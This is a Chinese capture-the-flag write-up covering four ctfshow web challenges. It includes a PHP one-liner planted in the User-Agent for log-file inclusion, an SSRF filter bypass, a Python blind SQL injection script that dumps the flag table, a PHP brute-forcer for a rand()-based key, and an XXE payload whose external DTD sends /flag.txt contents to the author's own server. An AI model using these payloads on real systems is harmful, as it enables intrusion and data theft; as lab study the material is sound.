前言:希望自己能一天天逐渐的改变
签到_观己
首先我尝试了一波data伪协议发现被禁止了,想了半天结果忘记了日志包含了害file=/var/log/nginx/access.log
尝试在UA
中放入一句话木马
芜湖,起飞!
system("ls /");
结束
web1_观字
代码审计,题目的意思是想我们通过curl http://192.168.7.68/flag
的回显得到flag,但是.
被过滤了,然后我想到了把ip转换为数字,192.168.1.100
与3232237668
这个是等价的(数字地址与IP地址)但是这道题过滤了0我靠,最后看师傅们的wp可以用。
代替.
<?php
#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
$url = $_GET['url'];
$protocol = substr($url, 0,7);
if($protocol!='http://'){
die('仅限http协议访问');
}
if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
die('仅限域名地址访问');
}
system('curl '.$url);
}
最后得到了flag
web2_观星
一看就知道是sql注入
的题,经过fuzz发现一堆被禁用的函数
常规的sql盲注payload大致为
1^if(1=1,1,0)
但是我们现在能用的不多
过滤了空格可以用括号代替;
过滤了单引号可以用16进制代替;
过滤了逗号,对于substr可以用 substr(database() from 1 for 1 )代替substr(database(),1,1)
if中有逗号可以用case when代替if;
过滤了 ascii可以用ord代替;
过滤了等号和like可以用regexp代替。
这样上面的常规语句就可以转化为
id=1^case(ord(substr(database()from(1)for(1))))when(102)then(2)else(3)end
import requests
import time
url = "http://0d7d7067-4ff7-4557-a713-af5bd4d3ed35.chall.ctf.show/index.php?id=0^"
flag = ""
for i in range(1, 50):
for j in range(38, 126):
# payload="case(ord(substr(database()from({0})for(1))))when({1})then(1)else(2)end".format(i,j)
# payload="case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({0})for(1))))when({1})then(1)else(2)end".format(i,j)
# payload="case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({0})for(1))))when({1})then(1)else(2)end".format(i,j)
payload = "case(ord(substr((select(group_concat(flag))from(flag))from({0})for(1))))when({1})then(1)else(2)end".format(i, j)
u = url + payload
r = requests.get(u)
time.sleep(0.3)
if "By Rudyard Kipling" in r.text:
flag += chr(j)
print(flag)
break
web3_观图
首先查看源码,发现这个,使用base64解密发现是一堆乱码,把后面image参数去掉后出现源代码
在PHP官方文档当中我们看到,所以具有爆破的可行性
Note: 在某些平台下(例如 Windows)getrandmax() 只有 32767。如果需要的范围大于 32767,那么指定 min
和 max 参数就可以生成更大的数了,或者考虑用 mt_rand() 来替代之。
最后爆出来是27347
/*author
Y4tacker
*/
<?php
for($i=0;$i<32768;$i++){
$key = substr(md5('ctfshow'.$i),3,8);
$image="Z6Ilu83MIDw=";
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(strpos($str,"jpg") or strpos($str,"png") or strpos($str,"gif")){
print($i);
break;
}
}
接下来就是拿着密钥去生成了呗
<?php
/*author
Y4tacker
*/
$rand=27347;
$key = substr(md5('ctfshow'.$rand),3,8);
$image="config.php";
$str = openssl_encrypt($image, 'bf-ecb', $key);
echo $str;
结束
web4_观心
我也是先玩了一下,卧槽居然真的是这样的,猜对了,接下里我们查看网页源代码得到提示<!-- flag in filesystem /flag.txt -->
啊这,说实话我蒙蔽了,然后我去看了下WP,一看到XXE,hh秒懂,当然WP还没看完我打算自己琢磨下,先去我的VPS搞一下,我们这里采用的思路是 通过DTD窃取文件
首先第一个xml文件为
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://test.y4tacker.top/evil.dtd">
接下来
<!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://我服务器的ip:7999/?pass=%p1;'>">
%p2;
之后我在我的另一台服务器上面开启了监听
啊这,草草草监听没用,不知道为啥,反正页面报错出来了flag
,不过猜测应该是内网环境的原因吧